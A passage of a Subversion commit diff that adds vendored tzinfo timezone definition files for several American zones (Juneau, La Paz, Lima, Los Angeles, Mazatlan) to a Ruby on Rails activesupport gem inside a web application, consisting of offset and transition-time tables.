+            tz.transition 2025, 11, :o5, 1762063200
+            tz.transition 2026, 3, :o6, 1772953200
+            tz.transition 2026, 11, :o5, 1793512800
+            tz.transition 2027, 3, :o6, 1805007600
+            tz.transition 2027, 11, :o5, 1825567200
+            tz.transition 2028, 3, :o6, 1836457200
+            tz.transition 2028, 11, :o5, 1857016800
+            tz.transition 2029, 3, :o6, 1867906800
+            tz.transition 2029, 11, :o5, 1888466400
+            tz.transition 2030, 3, :o6, 1899356400
+            tz.transition 2030, 11, :o5, 1919916000
+            tz.transition 2031, 3, :o6, 1930806000
+            tz.transition 2031, 11, :o5, 1951365600
+            tz.transition 2032, 3, :o6, 1962860400
+            tz.transition 2032, 11, :o5, 1983420000
+            tz.transition 2033, 3, :o6, 1994310000
+            tz.transition 2033, 11, :o5, 2014869600
+            tz.transition 2034, 3, :o6, 2025759600
+            tz.transition 2034, 11, :o5, 2046319200
+            tz.transition 2035, 3, :o6, 2057209200
+            tz.transition 2035, 11, :o5, 2077768800
+            tz.transition 2036, 3, :o6, 2088658800
+            tz.transition 2036, 11, :o5, 2109218400
+            tz.transition 2037, 3, :o6, 2120108400
+            tz.transition 2037, 11, :o5, 2140668000
+            tz.transition 2038, 3, :o6, 59171923, 24
+            tz.transition 2038, 11, :o5, 9862939, 4
+            tz.transition 2039, 3, :o6, 59180659, 24
+            tz.transition 2039, 11, :o5, 9864395, 4
+            tz.transition 2040, 3, :o6, 59189395, 24
+            tz.transition 2040, 11, :o5, 9865851, 4
+            tz.transition 2041, 3, :o6, 59198131, 24
+            tz.transition 2041, 11, :o5, 9867307, 4
+            tz.transition 2042, 3, :o6, 59206867, 24
+            tz.transition 2042, 11, :o5, 9868763, 4
+            tz.transition 2043, 3, :o6, 59215603, 24
+            tz.transition 2043, 11, :o5, 9870219, 4
+            tz.transition 2044, 3, :o6, 59224507, 24
+            tz.transition 2044, 11, :o5, 9871703, 4
+            tz.transition 2045, 3, :o6, 59233243, 24
+            tz.transition 2045, 11, :o5, 9873159, 4
+            tz.transition 2046, 3, :o6, 59241979, 24
+            tz.transition 2046, 11, :o5, 9874615, 4
+            tz.transition 2047, 3, :o6, 59250715, 24
+            tz.transition 2047, 11, :o5, 9876071, 4
+            tz.transition 2048, 3, :o6, 59259451, 24
+            tz.transition 2048, 11, :o5, 9877527, 4
+            tz.transition 2049, 3, :o6, 59268355, 24
+            tz.transition 2049, 11, :o5, 9879011, 4
+            tz.transition 2050, 3, :o6, 59277091, 24
+            tz.transition 2050, 11, :o5, 9880467, 4
+          end
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Juneau.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Juneau.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Juneau.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,194 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module America
+      module Juneau
+        include TimezoneDefinition
+        
+        timezone 'America/Juneau' do |tz|
+          tz.offset :o0, 54139, 0, :LMT
+          tz.offset :o1, -32261, 0, :LMT
+          tz.offset :o2, -28800, 0, :PST
+          tz.offset :o3, -28800, 3600, :PWT
+          tz.offset :o4, -28800, 3600, :PPT
+          tz.offset :o5, -28800, 3600, :PDT
+          tz.offset :o6, -32400, 0, :YST
+          tz.offset :o7, -32400, 0, :AKST
+          tz.offset :o8, -32400, 3600, :AKDT
+          
+          tz.transition 1867, 10, :o1, 207641393861, 86400
+          tz.transition 1900, 8, :o2, 208677805061, 86400
+          tz.transition 1942, 2, :o3, 29164799, 12
+          tz.transition 1945, 8, :o4, 58360379, 24
+          tz.transition 1945, 9, :o2, 19453831, 8
+          tz.transition 1969, 4, :o5, 29284067, 12
+          tz.transition 1969, 10, :o2, 19524167, 8
+          tz.transition 1970, 4, :o5, 9972000
+          tz.transition 1970, 10, :o2, 25693200
+          tz.transition 1971, 4, :o5, 41421600
+          tz.transition 1971, 10, :o2, 57747600
+          tz.transition 1972, 4, :o5, 73476000
+          tz.transition 1972, 10, :o2, 89197200
+          tz.transition 1973, 4, :o5, 104925600
+          tz.transition 1973, 10, :o2, 120646800
+          tz.transition 1974, 1, :o5, 126698400
+          tz.transition 1974, 10, :o2, 152096400
+          tz.transition 1975, 2, :o5, 162381600
+          tz.transition 1975, 10, :o2, 183546000
+          tz.transition 1976, 4, :o5, 199274400
+          tz.transition 1976, 10, :o2, 215600400
+          tz.transition 1977, 4, :o5, 230724000
+          tz.transition 1977, 10, :o2, 247050000
+          tz.transition 1978, 4, :o5, 262778400
+          tz.transition 1978, 10, :o2, 278499600
+          tz.transition 1979, 4, :o5, 294228000
+          tz.transition 1979, 10, :o2, 309949200
+          tz.transition 1980, 4, :o5, 325677600
+          tz.transition 1980, 10, :o2, 341398800
+          tz.transition 1981, 4, :o5, 357127200
+          tz.transition 1981, 10, :o2, 372848400
+          tz.transition 1982, 4, :o5, 388576800
+          tz.transition 1982, 10, :o2, 404902800
+          tz.transition 1983, 4, :o5, 420026400
+          tz.transition 1983, 10, :o6, 436352400
+          tz.transition 1983, 11, :o7, 439030800
+          tz.transition 1984, 4, :o8, 452084400
+          tz.transition 1984, 10, :o7, 467805600
+          tz.transition 1985, 4, :o8, 483534000
+          tz.transition 1985, 10, :o7, 499255200
+          tz.transition 1986, 4, :o8, 514983600
+          tz.transition 1986, 10, :o7, 530704800
+          tz.transition 1987, 4, :o8, 544618800
+          tz.transition 1987, 10, :o7, 562154400
+          tz.transition 1988, 4, :o8, 576068400
+          tz.transition 1988, 10, :o7, 594208800
+          tz.transition 1989, 4, :o8, 607518000
+          tz.transition 1989, 10, :o7, 625658400
+          tz.transition 1990, 4, :o8, 638967600
+          tz.transition 1990, 10, :o7, 657108000
+          tz.transition 1991, 4, :o8, 671022000
+          tz.transition 1991, 10, :o7, 688557600
+          tz.transition 1992, 4, :o8, 702471600
+          tz.transition 1992, 10, :o7, 720007200
+          tz.transition 1993, 4, :o8, 733921200
+          tz.transition 1993, 10, :o7, 752061600
+          tz.transition 1994, 4, :o8, 765370800
+          tz.transition 1994, 10, :o7, 783511200
+          tz.transition 1995, 4, :o8, 796820400
+          tz.transition 1995, 10, :o7, 814960800
+          tz.transition 1996, 4, :o8, 828874800
+          tz.transition 1996, 10, :o7, 846410400
+          tz.transition 1997, 4, :o8, 860324400
+          tz.transition 1997, 10, :o7, 877860000
+          tz.transition 1998, 4, :o8, 891774000
+          tz.transition 1998, 10, :o7, 909309600
+          tz.transition 1999, 4, :o8, 923223600
+          tz.transition 1999, 10, :o7, 941364000
+          tz.transition 2000, 4, :o8, 954673200
+          tz.transition 2000, 10, :o7, 972813600
+          tz.transition 2001, 4, :o8, 986122800
+          tz.transition 2001, 10, :o7, 1004263200
+          tz.transition 2002, 4, :o8, 1018177200
+          tz.transition 2002, 10, :o7, 1035712800
+          tz.transition 2003, 4, :o8, 1049626800
+          tz.transition 2003, 10, :o7, 1067162400
+          tz.transition 2004, 4, :o8, 1081076400
+          tz.transition 2004, 10, :o7, 1099216800
+          tz.transition 2005, 4, :o8, 1112526000
+          tz.transition 2005, 10, :o7, 1130666400
+          tz.transition 2006, 4, :o8, 1143975600
+          tz.transition 2006, 10, :o7, 1162116000
+          tz.transition 2007, 3, :o8, 1173610800
+          tz.transition 2007, 11, :o7, 1194170400
+          tz.transition 2008, 3, :o8, 1205060400
+          tz.transition 2008, 11, :o7, 1225620000
+          tz.transition 2009, 3, :o8, 1236510000
+          tz.transition 2009, 11, :o7, 1257069600
+          tz.transition 2010, 3, :o8, 1268564400
+          tz.transition 2010, 11, :o7, 1289124000
+          tz.transition 2011, 3, :o8, 1300014000
+          tz.transition 2011, 11, :o7, 1320573600
+          tz.transition 2012, 3, :o8, 1331463600
+          tz.transition 2012, 11, :o7, 1352023200
+          tz.transition 2013, 3, :o8, 1362913200
+          tz.transition 2013, 11, :o7, 1383472800
+          tz.transition 2014, 3, :o8, 1394362800
+          tz.transition 2014, 11, :o7, 1414922400
+          tz.transition 2015, 3, :o8, 1425812400
+          tz.transition 2015, 11, :o7, 1446372000
+          tz.transition 2016, 3, :o8, 1457866800
+          tz.transition 2016, 11, :o7, 1478426400
+          tz.transition 2017, 3, :o8, 1489316400
+          tz.transition 2017, 11, :o7, 1509876000
+          tz.transition 2018, 3, :o8, 1520766000
+          tz.transition 2018, 11, :o7, 1541325600
+          tz.transition 2019, 3, :o8, 1552215600
+          tz.transition 2019, 11, :o7, 1572775200
+          tz.transition 2020, 3, :o8, 1583665200
+          tz.transition 2020, 11, :o7, 1604224800
+          tz.transition 2021, 3, :o8, 1615719600
+          tz.transition 2021, 11, :o7, 1636279200
+          tz.transition 2022, 3, :o8, 1647169200
+          tz.transition 2022, 11, :o7, 1667728800
+          tz.transition 2023, 3, :o8, 1678618800
+          tz.transition 2023, 11, :o7, 1699178400
+          tz.transition 2024, 3, :o8, 1710068400
+          tz.transition 2024, 11, :o7, 1730628000
+          tz.transition 2025, 3, :o8, 1741518000
+          tz.transition 2025, 11, :o7, 1762077600
+          tz.transition 2026, 3, :o8, 1772967600
+          tz.transition 2026, 11, :o7, 1793527200
+          tz.transition 2027, 3, :o8, 1805022000
+          tz.transition 2027, 11, :o7, 1825581600
+          tz.transition 2028, 3, :o8, 1836471600
+          tz.transition 2028, 11, :o7, 1857031200
+          tz.transition 2029, 3, :o8, 1867921200
+          tz.transition 2029, 11, :o7, 1888480800
+          tz.transition 2030, 3, :o8, 1899370800
+          tz.transition 2030, 11, :o7, 1919930400
+          tz.transition 2031, 3, :o8, 1930820400
+          tz.transition 2031, 11, :o7, 1951380000
+          tz.transition 2032, 3, :o8, 1962874800
+          tz.transition 2032, 11, :o7, 1983434400
+          tz.transition 2033, 3, :o8, 1994324400
+          tz.transition 2033, 11, :o7, 2014884000
+          tz.transition 2034, 3, :o8, 2025774000
+          tz.transition 2034, 11, :o7, 2046333600
+          tz.transition 2035, 3, :o8, 2057223600
+          tz.transition 2035, 11, :o7, 2077783200
+          tz.transition 2036, 3, :o8, 2088673200
+          tz.transition 2036, 11, :o7, 2109232800
+          tz.transition 2037, 3, :o8, 2120122800
+          tz.transition 2037, 11, :o7, 2140682400
+          tz.transition 2038, 3, :o8, 59171927, 24
+          tz.transition 2038, 11, :o7, 29588819, 12
+          tz.transition 2039, 3, :o8, 59180663, 24
+          tz.transition 2039, 11, :o7, 29593187, 12
+          tz.transition 2040, 3, :o8, 59189399, 24
+          tz.transition 2040, 11, :o7, 29597555, 12
+          tz.transition 2041, 3, :o8, 59198135, 24
+          tz.transition 2041, 11, :o7, 29601923, 12
+          tz.transition 2042, 3, :o8, 59206871, 24
+          tz.transition 2042, 11, :o7, 29606291, 12
+          tz.transition 2043, 3, :o8, 59215607, 24
+          tz.transition 2043, 11, :o7, 29610659, 12
+          tz.transition 2044, 3, :o8, 59224511, 24
+          tz.transition 2044, 11, :o7, 29615111, 12
+          tz.transition 2045, 3, :o8, 59233247, 24
+          tz.transition 2045, 11, :o7, 29619479, 12
+          tz.transition 2046, 3, :o8, 59241983, 24
+          tz.transition 2046, 11, :o7, 29623847, 12
+          tz.transition 2047, 3, :o8, 59250719, 24
+          tz.transition 2047, 11, :o7, 29628215, 12
+          tz.transition 2048, 3, :o8, 59259455, 24
+          tz.transition 2048, 11, :o7, 29632583, 12
+          tz.transition 2049, 3, :o8, 59268359, 24
+          tz.transition 2049, 11, :o7, 29637035, 12
+          tz.transition 2050, 3, :o8, 59277095, 24
+          tz.transition 2050, 11, :o7, 29641403, 12
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/La_Paz.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/La_Paz.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/La_Paz.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,22 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module America
+      module La_Paz
+        include TimezoneDefinition
+        
+        timezone 'America/La_Paz' do |tz|
+          tz.offset :o0, -16356, 0, :LMT
+          tz.offset :o1, -16356, 0, :CMT
+          tz.offset :o2, -16356, 3600, :BOST
+          tz.offset :o3, -14400, 0, :BOT
+          
+          tz.transition 1890, 1, :o1, 17361854563, 7200
+          tz.transition 1931, 10, :o2, 17471733763, 7200
+          tz.transition 1932, 3, :o3, 17472871063, 7200
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Lima.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Lima.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Lima.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,35 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module America
+      module Lima
+        include TimezoneDefinition
+        
+        timezone 'America/Lima' do |tz|
+          tz.offset :o0, -18492, 0, :LMT
+          tz.offset :o1, -18516, 0, :LMT
+          tz.offset :o2, -18000, 0, :PET
+          tz.offset :o3, -18000, 3600, :PEST
+          
+          tz.transition 1890, 1, :o1, 17361854741, 7200
+          tz.transition 1908, 7, :o2, 17410685143, 7200
+          tz.transition 1938, 1, :o3, 58293593, 24
+          tz.transition 1938, 4, :o2, 7286969, 3
+          tz.transition 1938, 9, :o3, 58300001, 24
+          tz.transition 1939, 3, :o2, 7288046, 3
+          tz.transition 1939, 9, :o3, 58308737, 24
+          tz.transition 1940, 3, :o2, 7289138, 3
+          tz.transition 1986, 1, :o3, 504939600
+          tz.transition 1986, 4, :o2, 512712000
+          tz.transition 1987, 1, :o3, 536475600
+          tz.transition 1987, 4, :o2, 544248000
+          tz.transition 1990, 1, :o3, 631170000
+          tz.transition 1990, 4, :o2, 638942400
+          tz.transition 1994, 1, :o3, 757400400
+          tz.transition 1994, 4, :o2, 765172800
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Los_Angeles.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Los_Angeles.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Los_Angeles.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,232 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module America
+      module Los_Angeles
+        include TimezoneDefinition
+        
+        timezone 'America/Los_Angeles' do |tz|
+          tz.offset :o0, -28378, 0, :LMT
+          tz.offset :o1, -28800, 0, :PST
+          tz.offset :o2, -28800, 3600, :PDT
+          tz.offset :o3, -28800, 3600, :PWT
+          tz.offset :o4, -28800, 3600, :PPT
+          
+          tz.transition 1883, 11, :o1, 7227400, 3
+          tz.transition 1918, 3, :o2, 29060207, 12
+          tz.transition 1918, 10, :o1, 19375151, 8
+          tz.transition 1919, 3, :o2, 29064575, 12
+          tz.transition 1919, 10, :o1, 19378063, 8
+          tz.transition 1942, 2, :o3, 29164799, 12
+          tz.transition 1945, 8, :o4, 58360379, 24
+          tz.transition 1945, 9, :o1, 19453831, 8
+          tz.transition 1948, 3, :o2, 29191499, 12
+          tz.transition 1949, 1, :o1, 19463343, 8
+          tz.transition 1950, 4, :o2, 29200823, 12
+          tz.transition 1950, 9, :o1, 19468391, 8
+          tz.transition 1951, 4, :o2, 29205191, 12
+          tz.transition 1951, 9, :o1, 19471359, 8
+          tz.transition 1952, 4, :o2, 29209559, 12
+          tz.transition 1952, 9, :o1, 19474271, 8
+          tz.transition 1953, 4, :o2, 29213927, 12
+          tz.transition 1953, 9, :o1, 19477183, 8
+          tz.transition 1954, 4, :o2, 29218295, 12
+          tz.transition 1954, 9, :o1, 19480095, 8
+          tz.transition 1955, 4, :o2, 29222663, 12
+          tz.transition 1955, 9, :o1, 19483007, 8
+          tz.transition 1956, 4, :o2, 29227115, 12
+          tz.transition 1956, 9, :o1, 19485975, 8
+          tz.transition 1957, 4, :o2, 29231483, 12
+          tz.transition 1957, 9, :o1, 19488887, 8
+          tz.transition 1958, 4, :o2, 29235851, 12
+          tz.transition 1958, 9, :o1, 19491799, 8
+          tz.transition 1959, 4, :o2, 29240219, 12
+          tz.transition 1959, 9, :o1, 19494711, 8
+          tz.transition 1960, 4, :o2, 29244587, 12
+          tz.transition 1960, 9, :o1, 19497623, 8
+          tz.transition 1961, 4, :o2, 29249039, 12
+          tz.transition 1961, 9, :o1, 19500535, 8
+          tz.transition 1962, 4, :o2, 29253407, 12
+          tz.transition 1962, 10, :o1, 19503727, 8
+          tz.transition 1963, 4, :o2, 29257775, 12
+          tz.transition 1963, 10, :o1, 19506639, 8
+          tz.transition 1964, 4, :o2, 29262143, 12
+          tz.transition 1964, 10, :o1, 19509551, 8
+          tz.transition 1965, 4, :o2, 29266511, 12
+          tz.transition 1965, 10, :o1, 19512519, 8
+          tz.transition 1966, 4, :o2, 29270879, 12
+          tz.transition 1966, 10, :o1, 19515431, 8
+          tz.transition 1967, 4, :o2, 29275331, 12
+          tz.transition 1967, 10, :o1, 19518343, 8
+          tz.transition 1968, 4, :o2, 29279699, 12
+          tz.transition 1968, 10, :o1, 19521255, 8
+          tz.transition 1969, 4, :o2, 29284067, 12
+          tz.transition 1969, 10, :o1, 19524167, 8
+          tz.transition 1970, 4, :o2, 9972000
+          tz.transition 1970, 10, :o1, 25693200
+          tz.transition 1971, 4, :o2, 41421600
+          tz.transition 1971, 10, :o1, 57747600
+          tz.transition 1972, 4, :o2, 73476000
+          tz.transition 1972, 10, :o1, 89197200
+          tz.transition 1973, 4, :o2, 104925600
+          tz.transition 1973, 10, :o1, 120646800
+          tz.transition 1974, 1, :o2, 126698400
+          tz.transition 1974, 10, :o1, 152096400
+          tz.transition 1975, 2, :o2, 162381600
+          tz.transition 1975, 10, :o1, 183546000
+          tz.transition 1976, 4, :o2, 199274400
+          tz.transition 1976, 10, :o1, 215600400
+          tz.transition 1977, 4, :o2, 230724000
+          tz.transition 1977, 10, :o1, 247050000
+          tz.transition 1978, 4, :o2, 262778400
+          tz.transition 1978, 10, :o1, 278499600
+          tz.transition 1979, 4, :o2, 294228000
+          tz.transition 1979, 10, :o1, 309949200
+          tz.transition 1980, 4, :o2, 325677600
+          tz.transition 1980, 10, :o1, 341398800
+          tz.transition 1981, 4, :o2, 357127200
+          tz.transition 1981, 10, :o1, 372848400
+          tz.transition 1982, 4, :o2, 388576800
+          tz.transition 1982, 10, :o1, 404902800
+          tz.transition 1983, 4, :o2, 420026400
+          tz.transition 1983, 10, :o1, 436352400
+          tz.transition 1984, 4, :o2, 452080800
+          tz.transition 1984, 10, :o1, 467802000
+          tz.transition 1985, 4, :o2, 483530400
+          tz.transition 1985, 10, :o1, 499251600
+          tz.transition 1986, 4, :o2, 514980000
+          tz.transition 1986, 10, :o1, 530701200
+          tz.transition 1987, 4, :o2, 544615200
+          tz.transition 1987, 10, :o1, 562150800
+          tz.transition 1988, 4, :o2, 576064800
+          tz.transition 1988, 10, :o1, 594205200
+          tz.transition 1989, 4, :o2, 607514400
+          tz.transition 1989, 10, :o1, 625654800
+          tz.transition 1990, 4, :o2, 638964000
+          tz.transition 1990, 10, :o1, 657104400
+          tz.transition 1991, 4, :o2, 671018400
+          tz.transition 1991, 10, :o1, 688554000
+          tz.transition 1992, 4, :o2, 702468000
+          tz.transition 1992, 10, :o1, 720003600
+          tz.transition 1993, 4, :o2, 733917600
+          tz.transition 1993, 10, :o1, 752058000
+          tz.transition 1994, 4, :o2, 765367200
+          tz.transition 1994, 10, :o1, 783507600
+          tz.transition 1995, 4, :o2, 796816800
+          tz.transition 1995, 10, :o1, 814957200
+          tz.transition 1996, 4, :o2, 828871200
+          tz.transition 1996, 10, :o1, 846406800
+          tz.transition 1997, 4, :o2, 860320800
+          tz.transition 1997, 10, :o1, 877856400
+          tz.transition 1998, 4, :o2, 891770400
+          tz.transition 1998, 10, :o1, 909306000
+          tz.transition 1999, 4, :o2, 923220000
+          tz.transition 1999, 10, :o1, 941360400
+          tz.transition 2000, 4, :o2, 954669600
+          tz.transition 2000, 10, :o1, 972810000
+          tz.transition 2001, 4, :o2, 986119200
+          tz.transition 2001, 10, :o1, 1004259600
+          tz.transition 2002, 4, :o2, 1018173600
+          tz.transition 2002, 10, :o1, 1035709200
+          tz.transition 2003, 4, :o2, 1049623200
+          tz.transition 2003, 10, :o1, 1067158800
+          tz.transition 2004, 4, :o2, 1081072800
+          tz.transition 2004, 10, :o1, 1099213200
+          tz.transition 2005, 4, :o2, 1112522400
+          tz.transition 2005, 10, :o1, 1130662800
+          tz.transition 2006, 4, :o2, 1143972000
+          tz.transition 2006, 10, :o1, 1162112400
+          tz.transition 2007, 3, :o2, 1173607200
+          tz.transition 2007, 11, :o1, 1194166800
+          tz.transition 2008, 3, :o2, 1205056800
+          tz.transition 2008, 11, :o1, 1225616400
+          tz.transition 2009, 3, :o2, 1236506400
+          tz.transition 2009, 11, :o1, 1257066000
+          tz.transition 2010, 3, :o2, 1268560800
+          tz.transition 2010, 11, :o1, 1289120400
+          tz.transition 2011, 3, :o2, 1300010400
+          tz.transition 2011, 11, :o1, 1320570000
+          tz.transition 2012, 3, :o2, 1331460000
+          tz.transition 2012, 11, :o1, 1352019600
+          tz.transition 2013, 3, :o2, 1362909600
+          tz.transition 2013, 11, :o1, 1383469200
+          tz.transition 2014, 3, :o2, 1394359200
+          tz.transition 2014, 11, :o1, 1414918800
+          tz.transition 2015, 3, :o2, 1425808800
+          tz.transition 2015, 11, :o1, 1446368400
+          tz.transition 2016, 3, :o2, 1457863200
+          tz.transition 2016, 11, :o1, 1478422800
+          tz.transition 2017, 3, :o2, 1489312800
+          tz.transition 2017, 11, :o1, 1509872400
+          tz.transition 2018, 3, :o2, 1520762400
+          tz.transition 2018, 11, :o1, 1541322000
+          tz.transition 2019, 3, :o2, 1552212000
+          tz.transition 2019, 11, :o1, 1572771600
+          tz.transition 2020, 3, :o2, 1583661600
+          tz.transition 2020, 11, :o1, 1604221200
+          tz.transition 2021, 3, :o2, 1615716000
+          tz.transition 2021, 11, :o1, 1636275600
+          tz.transition 2022, 3, :o2, 1647165600
+          tz.transition 2022, 11, :o1, 1667725200
+          tz.transition 2023, 3, :o2, 1678615200
+          tz.transition 2023, 11, :o1, 1699174800
+          tz.transition 2024, 3, :o2, 1710064800
+          tz.transition 2024, 11, :o1, 1730624400
+          tz.transition 2025, 3, :o2, 1741514400
+          tz.transition 2025, 11, :o1, 1762074000
+          tz.transition 2026, 3, :o2, 1772964000
+          tz.transition 2026, 11, :o1, 1793523600
+          tz.transition 2027, 3, :o2, 1805018400
+          tz.transition 2027, 11, :o1, 1825578000
+          tz.transition 2028, 3, :o2, 1836468000
+          tz.transition 2028, 11, :o1, 1857027600
+          tz.transition 2029, 3, :o2, 1867917600
+          tz.transition 2029, 11, :o1, 1888477200
+          tz.transition 2030, 3, :o2, 1899367200
+          tz.transition 2030, 11, :o1, 1919926800
+          tz.transition 2031, 3, :o2, 1930816800
+          tz.transition 2031, 11, :o1, 1951376400
+          tz.transition 2032, 3, :o2, 1962871200
+          tz.transition 2032, 11, :o1, 1983430800
+          tz.transition 2033, 3, :o2, 1994320800
+          tz.transition 2033, 11, :o1, 2014880400
+          tz.transition 2034, 3, :o2, 2025770400
+          tz.transition 2034, 11, :o1, 2046330000
+          tz.transition 2035, 3, :o2, 2057220000
+          tz.transition 2035, 11, :o1, 2077779600
+          tz.transition 2036, 3, :o2, 2088669600
+          tz.transition 2036, 11, :o1, 2109229200
+          tz.transition 2037, 3, :o2, 2120119200
+          tz.transition 2037, 11, :o1, 2140678800
+          tz.transition 2038, 3, :o2, 29585963, 12
+          tz.transition 2038, 11, :o1, 19725879, 8
+          tz.transition 2039, 3, :o2, 29590331, 12
+          tz.transition 2039, 11, :o1, 19728791, 8
+          tz.transition 2040, 3, :o2, 29594699, 12
+          tz.transition 2040, 11, :o1, 19731703, 8
+          tz.transition 2041, 3, :o2, 29599067, 12
+          tz.transition 2041, 11, :o1, 19734615, 8
+          tz.transition 2042, 3, :o2, 29603435, 12
+          tz.transition 2042, 11, :o1, 19737527, 8
+          tz.transition 2043, 3, :o2, 29607803, 12
+          tz.transition 2043, 11, :o1, 19740439, 8
+          tz.transition 2044, 3, :o2, 29612255, 12
+          tz.transition 2044, 11, :o1, 19743407, 8
+          tz.transition 2045, 3, :o2, 29616623, 12
+          tz.transition 2045, 11, :o1, 19746319, 8
+          tz.transition 2046, 3, :o2, 29620991, 12
+          tz.transition 2046, 11, :o1, 19749231, 8
+          tz.transition 2047, 3, :o2, 29625359, 12
+          tz.transition 2047, 11, :o1, 19752143, 8
+          tz.transition 2048, 3, :o2, 29629727, 12
+          tz.transition 2048, 11, :o1, 19755055, 8
+          tz.transition 2049, 3, :o2, 29634179, 12
+          tz.transition 2049, 11, :o1, 19758023, 8
+          tz.transition 2050, 3, :o2, 29638547, 12
+          tz.transition 2050, 11, :o1, 19760935, 8
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Mazatlan.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Mazatlan.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Mazatlan.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,139 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module America
+      module Mazatlan
+        include TimezoneDefinition
+        
+        timezone 'America/Mazatlan' do |tz|
+          tz.offset :o0, -25540, 0, :LMT
+          tz.offset :o1, -25200, 0, :MST
+          tz.offset :o2, -21600, 0, :CST
+          tz.offset :o3, -28800, 0, :PST
+          tz.offset :o4, -25200, 3600, :MDT
+          
+          tz.transition 1922, 1, :o1, 58153339, 24
+          tz.transition 1927, 6, :o2, 9700171, 4
+          tz.transition 1930, 11, :o1, 9705183, 4
+          tz.transition 1931, 5, :o2, 9705855, 4
+          tz.transition 1931, 10, :o1, 9706463, 4
+          tz.transition 1932, 4, :o2, 58243171, 24
+          tz.transition 1942, 4, :o1, 9721895, 4
+          tz.transition 1949, 1, :o3, 58390339, 24
+          tz.transition 1970, 1, :o1, 28800
+          tz.transition 1996, 4, :o4, 828867600
+          tz.transition 1996, 10, :o1, 846403200
+          tz.transition 1997, 4, :o4, 860317200
+          tz.transition 1997, 10, :o1, 877852800
+          tz.transition 1998, 4, :o4, 891766800
+          tz.transition 1998, 10, :o1, 909302400
+          tz.transition 1999, 4, :o4, 923216400
+          tz.transition 1999, 10, :o1, 941356800
+          tz.transition 2000, 4, :o4, 954666000
+          tz.transition 2000, 10, :o1, 972806400
+          tz.transition 2001, 5, :o4, 989139600
+          tz.transition 2001, 9, :o1, 1001836800
+          tz.transition 2002, 4, :o4, 1018170000
+          tz.transition 2002, 10, :o1, 1035705600
+          tz.transition 2003, 4, :o4, 1049619600
+          tz.transition 2003, 10, :o1, 1067155200
+          tz.transition 2004, 4, :o4, 1081069200
+          tz.transition 2004, 10, :o1, 1099209600
+          tz.transition 2005, 4, :o4, 1112518800
+          tz.transition 2005, 10, :o1, 1130659200
+          tz.transition 2006, 4, :o4, 1143968400
+          tz.transition 2006, 10, :o1, 1162108800
+          tz.transition 2007, 4, :o4, 1175418000
+          tz.transition 2007, 10, :o1, 1193558400
+          tz.transition 2008, 4, :o4, 1207472400
+          tz.transition 2008, 10, :o1, 1225008000
+          tz.transition 2009, 4, :o4, 1238922000
+          tz.transition 2009, 10, :o1, 1256457600
+          tz.transition 2010, 4, :o4, 1270371600
+          tz.transition 2010, 10, :o1, 1288512000
+          tz.transition 2011, 4, :o4, 1301821200
+          tz.transition 2011, 10, :o1, 1319961600
+          tz.transition 2012, 4, :o4, 1333270800
+          tz.transition 2012, 10, :o1, 1351411200
+          tz.transition 2013, 4, :o4, 1365325200
+          tz.transition 2013, 10, :o1, 1382860800
+          tz.transition 2014, 4, :o4, 1396774800
+          tz.transition 2014, 10, :o1, 1414310400
+          tz.transition 2015, 4, :o4, 1428224400
+          tz.transition 2015, 10, :o1, 1445760000
+          tz.transition 2016, 4, :o4, 1459674000
